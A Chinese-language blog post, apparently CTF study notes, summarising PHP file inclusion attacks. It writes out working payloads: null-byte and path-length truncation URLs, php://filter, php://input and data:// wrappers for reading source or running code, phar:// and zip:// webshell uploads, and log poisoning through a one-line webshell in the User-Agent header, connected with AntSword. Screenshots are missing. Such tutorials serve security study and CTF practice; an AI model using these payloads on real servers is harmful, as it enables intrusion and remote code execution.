文件包含简要概括

文件包含漏洞

可以看看https://blog.csdn.net/qwe304/article/details/126826456

image-20230307195413659

image-20230307200603105

image-20230307200627858

include将1.txt里面的内容当作php代码来执行

1.本地文件包含

无限制

像上面所演示的就是无限制的本地包含

image-20230307201950148

也可以利用目录遍历读取包含其他目录下的文件

有限制

image-20230307203900572

类似这样的就是有限制的,后面增加一个其他未知的后缀,然后文件包含就会报错,这时候可以用以下方法进行绕过

1.%00截断

1
2
3
4
需要注意的是%00截断需要满足两个条件
1.魔术引号是关闭状态
2.php版本需要低于5.3.4
http://127.0.0.1/include.php/?filename=1.txt%00

2.长度截断

1
2
3
4
5
6
在windows下面点号需要长于256,在linux在点号需要长于4096
http://127.0.0.1/include.php/?filename=1.txt....................................................................................................................................................................................................................................................................................................................................................................................................................
这个操作系统是对方目标服务器的操作系统
原理:只要超过了256个,那么限制后面的html就无法加入了,
且系统会将后面的符号进行自动删除。
这个对php版本好像也有要求

2.远程文件包含(危害更大)

看代码和开发平台有没有限制,如PHP中就有allow_url_include开关

无限制

有限制

做题目一般用到的伪协议

php://filter用于读取源码,php://input用于执行php代码。

1.php://input(伪协议)

相关链接:https://blog.csdn.net/qq_51295677/article/details/123462929

php://input要求allow_url_include设置为On

image-20230225193156672

image-20230225193217906

2.读取源代码(php://filter伪协议)

有时候做命令执行的题目也需要用到filter伪协议

?c=include$_GET[e]?>&e=php://filter/read=convert.base64-encode/resource=flag.php

image-20230225203611076

image-20230225203734401

1
2
3
4
5
6
7
8
9
读:php://filter/resource=文件名

php://filter/read=convert.base64-encode/resource=文件名

写:php://filter/resource=文件名&txt=文件内容

php://filter/write=convert.base64-encode/resource=文件名&txt=文件内容

php://filter/convert.iconv.utf8.utf16/resource=文件名 当base64无法用时可以更换其他的编码进行绕过

3.data://(数据流的读取)

php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。

1
2
data://text/plain,xxxx  (xxxx可以为php代码, 也可以为数据)
data://text/plain;base64,xxxxx (xxxx必须为base64编码过后的)

phar://伪协议

phar://路径/文件名的前缀

​ NSSCTF上的一个bingdundun文件上传为例子

首先先写一个马子,
GIF89a

然后保存为shell.php
压缩为zip格式的,进行上传,最后利用phar://伪协议
前面有个bingdundun=…(这里跟路径)
比如说我的路径是11111111.zip 后面跟1111111.zip/shell,最后蚁剑连接

zip://伪协议

利用方式:

zip:// + zip路径 + %23(#号)+上传的php文件名

先将一个一句话木马压缩成zip格式的,再变成jpg格式的上传

日志文件包含

利用access.log(主要是记录客户端访问服务器的所有请求信息)和error.log(记录相关的错误信息的)

以一道文件包含的题目来进行讲解(NSSCTF里面的一题)

image-20230310193013230

用伪协议发现并不起作用了,这时我们可以利用日志文件包含 (access.log 和error.log)

我们可以进行抓包看到是nginx服务器

则利用以下路径可以查看日志文件

1
?file=/var/log/nginx/access.log

image-20230310193609509

可以查看,那么我们就通过抓包添加一句话木马,再发包,利用蚁剑进行连接

一句话木马在User-Agent里面添加

image-20230310194455853

image-20230310193923695

就成功的连接上了后门

exit()死亡绕过


文件包含简要概括
http://example.com/2023/11/15/文件包含/
作者
FSRM
发布于
2023年11月15日
更新于
2023年11月15日
许可协议